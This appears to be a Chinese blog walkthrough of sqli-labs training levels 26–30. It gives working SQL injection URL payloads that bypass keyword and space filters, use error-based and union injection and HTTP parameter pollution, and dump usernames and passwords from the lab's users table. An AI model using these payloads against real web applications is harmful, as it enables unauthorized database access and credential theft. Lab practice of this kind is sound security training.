sqli-labs靶场第26-30关

第26关

这关将逻辑运算符,注释符以及空格给过滤了

我们先使用单引号进行闭合

这时我们查看源代码可以看到这一关过滤了很多字符

可以看到这里将or and / -- # 空格等字符都被注释了

空格被过滤了我们可以使用()来代替,and和or可以使用双写来绕过

因为报错注入空格少,所以这里我们使用报错注入

查询数据库名

复制代码
?id=1' aandnd(updatexml(1,concat(0x7e,(select(database())),0x7e),1)) aandnd '1

查询表名字段名以及字段下的数据

复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))aandnd'1 
复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))aandnd'1
复制代码
?id=1'aandnd(updatexml(1,concat(0x7e,(select(group_concat(passwoorrd,username))from(users))),1))aandnd'1

我们获取到了数据库的数据自此通关

第26-a关

这关的闭合方式与26关不同,需要闭合')

复制代码
?id=1'aandnd'1

我们让页面报错发现页面没有报错只有一个警告

这里我们就不能使用报错注入了,所以我们使用布尔盲注

第27关

查看是否可以控制

?id=1

?id=2

可以控制

查看代码是否能直接在MySQL中执行

?id=1'

我们现在找一下他的闭合是什么

我们先试一下--+

发现网站给我们过滤掉了

这时我们试一下 and'1 闭合

页面回显正常说明网站不会过滤 and'1 得到网站是字符型

使用order by排序或者group by分组来猜测表有几个字段

我们猜测它有三列

?id=1' order by 4 and'1

我们发现输入的时候它给我们把空格过滤掉了所以我们使用%09 替换空格

%09 utf-8 可以当空格使用

我们猜测他有四列

?id=1%27%09order%09by%094%09and%271

回显成功

我们猜测它有七列

这时也回显成功,继续试的时候也是这样

发现使用 order by 不管用了,这时我们继续下一步,我们使用联合查询来猜

使用联合查询union select查看回显

复制代码
?id=9999%27%09uNion%09sElect%091,2,3%09and%09%271

我们查看到 2 回显数据

通过内置表查询数据

(1)使用联合查询查看表的名字

复制代码
?id=999%27%09uNion%09sElect%091,database(),3%09and%271

表的名字为security

(2)使用联合查询查看security中的所有表名

复制代码
?id=999%27%09uNion%09sElect%091,(sElect%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),3%09and%271

看到security中有四个表我们要查看的表为users

(3)继续使用联合查询查看users的所有字段名

复制代码
?id=999%27%09uNion%09sElect%091,(sElect%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema=database()%09and%09table_name='users'),3%09and%271

可以看到表中的名字id,username,password

(4)使用联合查询查看表中的数据

复制代码
?id=999%27%09uNion%09sElect%091,(sElect%09group_concat(id,username,password)%09from%09users),3%09and%271

获得表格中的所有账号密码。

第 28 关

该关卡过滤了注释符空格还过滤了union和select,所以我们可以使用重写绕过

查询数据库名

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,database(),3%0Aand('1

查询表名

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1

查字段名

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1

查数据

复制代码
?id=0')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(id,username,password)%0Afrom%0Ausers%0Aand%0A('1

第 28-a 关

该关卡只过滤union+select其他没有过滤

直接使用联合查询就行

第 29 关

这关就是会对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入。sql语句在接受相同参数时候接受的是后面的参数值。

查询表名,字段名,数据

复制代码
?id=1&id=-2' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
复制代码
?id=1&id=-2' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
复制代码
?id=1&id=-2' union select 1,group_concat(password,username),3 from users--+

第三十关

第三十关和二十九关差不多,将单引号换成双引号

查询表名,字段名,数据

复制代码
?id=1&id=-2" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+
复制代码
?id=1&id=-2" union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users'--+
复制代码
?id=1&id=-2" union select 1,group_concat(password,username),3 from users--+
相关推荐
MarkHard1231 天前
如何利用redis使用一个滑动窗口限流
数据库·redis·缓存
island13141 天前
【Redis#10】渐进式遍历 | 数据库管理 | redis_cli | RES
数据库·redis·bootstrap
心想事成的幸运大王1 天前
Redis的过期策略
数据库·redis·缓存
倔强的石头_1 天前
CentOS 上安装KingbaseES(ISO包)详细教程
数据库
2401_897930061 天前
使用Docker轻松部署Neo4j图数据库
数据库·docker·neo4j
诗句藏于尽头1 天前
Django模型与数据库表映射的两种方式
数据库·python·django
寻星探路1 天前
数据库造神计划第六天---增删改查(CRUD)(2)
java·大数据·数据库
盖世英雄酱581361 天前
Read timed out问题 排查
java·数据库·后端
云动雨颤1 天前
Spring Boot配置优化:Tomcat+数据库+缓存+日志,全场景教程
数据库·spring boot·tomcat
RestCloud1 天前
Kafka实时数据管道:ETL在流式处理中的应用
数据库·kafka·api